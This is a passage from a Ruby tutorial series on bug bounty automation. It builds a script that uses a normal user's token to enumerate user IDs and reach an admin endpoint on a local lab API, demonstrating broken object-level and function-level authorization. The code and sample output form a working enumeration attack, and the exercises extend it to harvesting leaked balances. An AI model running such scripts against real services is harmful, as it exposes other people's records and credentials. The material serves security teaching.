// Bug Bounty Automation in Ruby · Part 3

Breaking object-level authorization

Our token is for a normal user — so what happens when we ask for someone else's record with it? We build a checker that walks user IDs and flags every one we can read but shouldn't, then find the same flaw at the endpoint level. Along the way: methods that return values, ranges, and collecting results.

RubyIDORBOLAAuthorization
4 min read

Part 2’s map showed /api/users/{id} answering 401 with no token. A 401 means authenticate and try again — so let’s authenticate. The interesting question isn’t whether the endpoint checks that you’re logged in (it does). It’s whether it checks that the record you’re asking for is yours (spoiler: it doesn’t). That gap is broken object-level authorization — BOLA, or the classic IDOR — and it’s the single most common serious API bug.

New file, bola.rb, with a login helper and an authenticated GET:

require 'net/http'
require 'json'
require 'uri'

BASE = 'http://127.0.0.1:4567'

def login(name)
  res = Net::HTTP.post(URI("#{BASE}/login"), { 'name' => name }.to_json,
                       'Content-Type' => 'application/json')
  JSON.parse(res.body)['token']
end

def get(path, token)
  uri = URI("#{BASE}#{path}")
  req = Net::HTTP::Get.new(uri)
  req['Authorization'] = "Bearer #{token}"
  Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end

login posts a name and returns the token from the response — a method’s last expression is its return value, no return keyword needed. get attaches that token as a Bearer header. Log in as alice and confirm who we are:

token = login('alice')
me = JSON.parse(get('/api/me', token).body)
puts "[*] logged in as #{me['name']} (id #{me['id']})"

Walking the IDs

We’re user 1. The endpoint takes an id, so the obvious question is: can we read 2? 99? Rather than ask by hand, loop over a few IDs and let the code flag anything that isn’t us:

[1, 2, 99].each do |id|
  res = get("/api/users/#{id}", token)
  next unless res.code.to_i == 200
  user = JSON.parse(res.body)
  flag = id == me['id'] ? 'you ' : 'LEAK'
  puts "  [#{flag}] users/#{id} -> #{user['name'].ljust(6)} balance #{user['balance']}"
end

[1, 2, 99].each walks the list. next unless ... == 200 skips anything that didn’t come back readable. Then a ternarycondition ? a : b — labels the row you when the ID is our own and LEAK otherwise. Run it against the lab:

$ ruby bola.rb
[*] logged in as alice (id 1)
  [you ] users/1 -> alice  balance 1000
  [LEAK] users/2 -> bob    balance 1500
  [LEAK] users/99 -> admin  balance 0

There it is. Our normal-user token read bob’s record and the admin’s record — names, balances, and (check the raw body) their tokens too. The server authenticated us and then never asked whether user 1 should see user 2. One integer away from every account on the platform.

The same flaw, one level up

BOLA is about objects — which records you can reach. Its sibling is broken function-level authorization (BFLA): which endpoints you can reach. Part 2 flagged /api/admin/stats as a 401 with no token. Try it with our plain-user token:

stats = get('/api/admin/stats', token)
puts "[*] /api/admin/stats as a normal user -> HTTP #{stats.code}"
puts "    #{stats.body}" if stats.code.to_i == 200
$ ruby bola.rb
...
[*] /api/admin/stats as a normal user -> HTTP 200
    {"users":3,"orders":0,"balances":2500}

200, from a user who is not an admin. The endpoint checked that we were logged in and stopped there — it never checked our role. Same root cause as the IDOR, one layer up: authenticated was treated as authorized.

That distinction is the thing to carry out of this part. Logging a user in tells you who they are. It says nothing about what they’re allowed to touch — that’s a separate check the developer has to write for every object and every endpoint, and the one they forget is your finding.

Takeaways

  • BOLA / IDOR: an endpoint checks that you’re authenticated but not that the object is yours. Enumerate IDs with your own valid token; anything that isn’t yours coming back 200 is the bug.
  • BFLA: the same omission at the endpoint level — a privileged route with no role check. A normal token reaching /api/admin/* is the tell.
  • A method returns its last expression; a ternary c ? a : b picks one of two values inline.
  • The mental model: authenticated ≠ authorized. Every object and route needs its own permission check; hunt the ones that are missing.

Exercises

  1. get('/api/users/999', token) — an ID that doesn’t exist. What status comes back, and how does that differ from an ID you’re forbidden from seeing? (This API leaks by returning 200; a fixed one would return 403 or 404.)
  2. Turn the leak into data: collect every readable-but-not-yours user into an array of hashes, then print the total balance you were able to enumerate.
  3. Log in as bob and read alice’s record. Confirm the flaw is symmetric — it’s the endpoint that’s broken, not one account.

Next — Part 4: we stopped trusting the id; now we stop trusting the token itself. We look at how the lab issues them, and forge one for a user we never logged in as.

← All parts